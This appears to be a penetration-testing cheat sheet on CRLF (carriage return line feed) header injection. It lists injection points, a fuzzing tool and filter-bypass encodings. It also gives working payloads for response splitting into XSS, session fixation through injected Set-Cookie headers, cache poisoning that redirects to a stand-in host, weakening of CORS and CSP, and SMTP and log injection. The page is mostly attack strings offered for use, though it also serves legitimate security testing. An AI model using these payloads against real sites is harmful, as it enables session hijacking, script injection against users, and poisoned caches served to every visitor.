caon.io

CRLF

Carriage Return Line Feed

Carriage Return = ASCII 13, \r, %0D
Line Feed = ASCII 10, \n, %0A

Your input ends the header and starts a new one. Whatever the app puts into a response header is a candidate.

Where it lands

Location:        redirect parameters
Set-Cookie:      any value written into a cookie
Content-Type:    format / download-name parameters
Link:            pagination
X-*:             request ids, tenant names, tracking values

Tools

# https://github.com/dwisiswant0/crlfuzz
crlfuzz -u "http://example.com"

Encodings

Single-encoded is filtered almost everywhere. These are the ones that get through:

%0d%0a          %0a             %0d
%23%0d%0a       #\r\n
%25%30%61       double-encoded %0a
%250d%250a
%u000d%u000a    IIS / .NET unicode
%c4%8d%c4%8a    UTF-8 overlong
\r\n            raw, in a JSON body
%E5%98%8A%E5%98%8D   unicode → normalises to CR LF in some stacks

That last pair (嘊嘍) is the classic Node/http filter bypass.

POC

CRLF to XSS

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

Session fixation

Lower effort, often higher severity than the XSS:

/?lang=en%0d%0aSet-Cookie:%20session=attacker_value

Cache poisoning

If the injected response gets cached, everyone gets it. Combine with a cache buster and check X-Cache, see Cache Poisoning.

/?x=1%0d%0aX-Forwarded-Host:%20oob.tld

Other headers worth injecting

Set-Cookie: session=x; Domain=.target.com
Location: https://oob.tld
Access-Control-Allow-Origin: https://oob.tld
Content-Security-Policy: script-src *
X-XSS-Protection: 0

Access-Control-Allow-Origin plus Access-Control-Allow-Credentials: true turns CRLF into a cross-origin read, see CORS.

Not just HTTP

The same primitive in other protocols:

  • Log injection: forge log lines, poison a log-based LFI
  • SMTP header injection: inject Bcc: into a contact form
  • Redis / memcached via SSRF: newline-delimited protocols
  • HTTP Request Smuggling: CRLF inside an HTTP/2 header value, see Request Smuggling

Articles

↑↓ navigate↵ openesc close